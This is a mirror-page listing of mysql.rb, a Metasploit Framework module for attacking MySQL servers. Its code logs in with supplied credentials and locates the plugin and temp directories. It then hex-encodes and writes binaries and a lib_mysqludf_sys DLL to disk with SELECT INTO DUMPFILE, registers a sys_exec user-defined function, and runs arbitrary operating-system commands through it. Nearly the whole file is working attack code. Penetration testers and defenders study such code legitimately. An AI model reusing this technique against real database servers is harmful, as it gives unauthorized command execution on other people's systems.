Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

mysql.rb 5.9KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228
  1. # -*- coding: binary -*-
  2. ##
  3. # This file is part of the Metasploit Framework and may be subject to
  4. # redistribution and commercial restrictions. Please see the Metasploit
  5. # Framework web site for more information on licensing and terms of use.
  6. # http://metasploit.com/framework/
  7. ##
  8. ###
  9. # This module provides methods for communicating with a host running MySQL.
  10. ###
  11. require 'msf/core'
  12. require 'rbmysql'
  13. module Msf
  14. module Exploit::Remote::MYSQL
  15. include Exploit::Remote::Tcp
  16. def initialize(info = {})
  17. super
  18. register_options(
  19. [
  20. Opt::RHOST,
  21. Opt::RPORT(3306),
  22. OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
  23. OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
  24. ], Msf::Exploit::Remote::MYSQL
  25. )
  26. end
  27. def mysql_login(user='root', pass='', db=nil)
  28. disconnect if self.sock
  29. connect
  30. begin
  31. @mysql_handle = ::RbMysql.connect({
  32. :host => rhost,
  33. :port => rport,
  34. :read_timeout => 300,
  35. :write_timeout => 300,
  36. :socket => sock,
  37. :user => user,
  38. :password => pass,
  39. :db => db
  40. })
  41. rescue Errno::ECONNREFUSED
  42. print_error("Connection refused")
  43. return false
  44. rescue RbMysql::ClientError
  45. print_error("Connection timedout")
  46. return false
  47. rescue Errno::ETIMEDOUT
  48. print_error("Operation timedout")
  49. return false
  50. rescue RbMysql::HostNotPrivileged
  51. print_error("Unable to login from this host due to policy")
  52. return false
  53. rescue RbMysql::AccessDeniedError
  54. print_error("Access denied")
  55. return false
  56. end
  57. return true
  58. end
  59. def mysql_logoff
  60. @mysql_handle = nil if @mysql_handle
  61. disconnect if self.sock
  62. end
  63. def mysql_login_datastore
  64. begin
  65. res = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
  66. rescue Rex::ConnectionTimeout => e
  67. print_error("Timeout: #{e.message}")
  68. res = false
  69. end
  70. return res
  71. end
  72. def mysql_query(sql)
  73. begin
  74. res = @mysql_handle.query(sql)
  75. rescue ::RbMysql::Error => e
  76. print_error("MySQL Error: #{e.class} #{e.to_s}")
  77. return nil
  78. rescue Rex::ConnectionTimeout => e
  79. print_error("Timeout: #{e.message}")
  80. return nil
  81. end
  82. res
  83. end
  84. def mysql_get_plugin_dir
  85. print_status "Checking for MySQL plugin directory..."
  86. plugin_res = nil
  87. base_res = nil
  88. plugin_res = mysql_get_variable("@@plugin_dir") rescue nil
  89. begin
  90. res = mysql_query("show variables like 'basedir'")
  91. base_res = res.first[1] if res.respond_to? :first
  92. rescue nil
  93. end
  94. if plugin_res.respond_to? :split
  95. target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
  96. elsif base_res.respond_to? :split
  97. target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
  98. else
  99. print_error "Cannot determine the plugin directory."
  100. return false
  101. end
  102. end
  103. def mysql_get_temp_dir
  104. print_status "Checking for temp directory..."
  105. res = mysql_get_variable("@@tmpdir")
  106. if res.respond_to? :split
  107. target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
  108. else
  109. print_error "Cannot determine the temp directory, exiting."
  110. return false
  111. end
  112. end
  113. def mysql_get_variable(var)
  114. res = mysql_query("SELECT #{var}")
  115. if res and res.respond_to? :first
  116. return res.first.first
  117. end
  118. end
  119. def mysql_upload_binary(bindata)
  120. blob = "0x"
  121. blob << bindata.unpack("C*").map {|x| "%02x" % [x]}.join
  122. tmpdir = mysql_get_temp_dir
  123. binname = Rex::Text.rand_text_alpha(8)
  124. binpath = tmpdir << binname
  125. print_status "Uploading binary as #{binpath}..."
  126. res = mysql_query("SELECT #{blob} into DUMPFILE '#{binpath}'")
  127. return res
  128. end
  129. def mysql_upload_sys_udf(arch=:win32,target_path=nil)
  130. fname = (arch == :win32 ? "lib_mysqludf_sys_32.dll" : "lib_mysqludf_sys_64.dll")
  131. sys_dll = File.join( Msf::Config.data_directory, "exploits", "mysql", fname )
  132. data = File.open(sys_dll, "rb") {|f| f.read f.stat.size}
  133. blob = "0x"
  134. blob << data.unpack("C*").map {|x| "%02x" % [x]}.join
  135. dll_name = Rex::Text.rand_text_alpha(8)
  136. target_dll = target_path << dll_name << ".dll"
  137. print_status "Uploading #{fname} library to #{target_dll}..."
  138. mysql_query("SELECT #{blob} into DUMPFILE '#{target_dll}'")
  139. return dll_name << ".dll"
  140. end
  141. def mysql_drop_and_create_sys_exec(soname)
  142. # Just drop it. MySQL will always say "OK" anyway.
  143. # See #5244
  144. mysql_query("DROP FUNCTION IF EXISTS sys_exec")
  145. res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'")
  146. return false if res.nil?
  147. return true
  148. end
  149. def mysql_get_arch
  150. print_status "Checking target architecture..."
  151. res = mysql_get_variable("@@version_compile_os")
  152. return :unknown unless res
  153. case res
  154. when /Win64/i
  155. :win64
  156. when /Win32/i
  157. :win32
  158. else
  159. res
  160. end
  161. end
  162. def mysql_add_sys_exec
  163. arch = mysql_get_arch
  164. case arch
  165. when :win64,:win32
  166. target_path = mysql_get_plugin_dir
  167. if target_path
  168. print_status "Target arch (#{arch}) and target path both okay."
  169. soname = mysql_upload_sys_udf(arch,target_path)
  170. mysql_drop_and_create_sys_exec(soname)
  171. return true
  172. else
  173. print_status "Cannot determine an appropriate target path."
  174. false
  175. end
  176. when :unknown
  177. print_error "Cannot determine target's architecture"
  178. return false
  179. else
  180. print_error "Target is an incompatible architecture: #{arch}"
  181. return false
  182. end
  183. end
  184. def mysql_check_for_sys_exec
  185. print_status "Checking for sys_exec()..."
  186. res = mysql_query("select * from mysql.func where name = 'sys_exec'")
  187. res.size == 1
  188. end
  189. def mysql_sys_exec(cmd,doprint=false,opts={})
  190. res = mysql_query("select sys_exec('#{cmd}')")
  191. if res && doprint
  192. print_status "Executing: #{cmd}"
  193. return res
  194. end
  195. end
  196. end
  197. end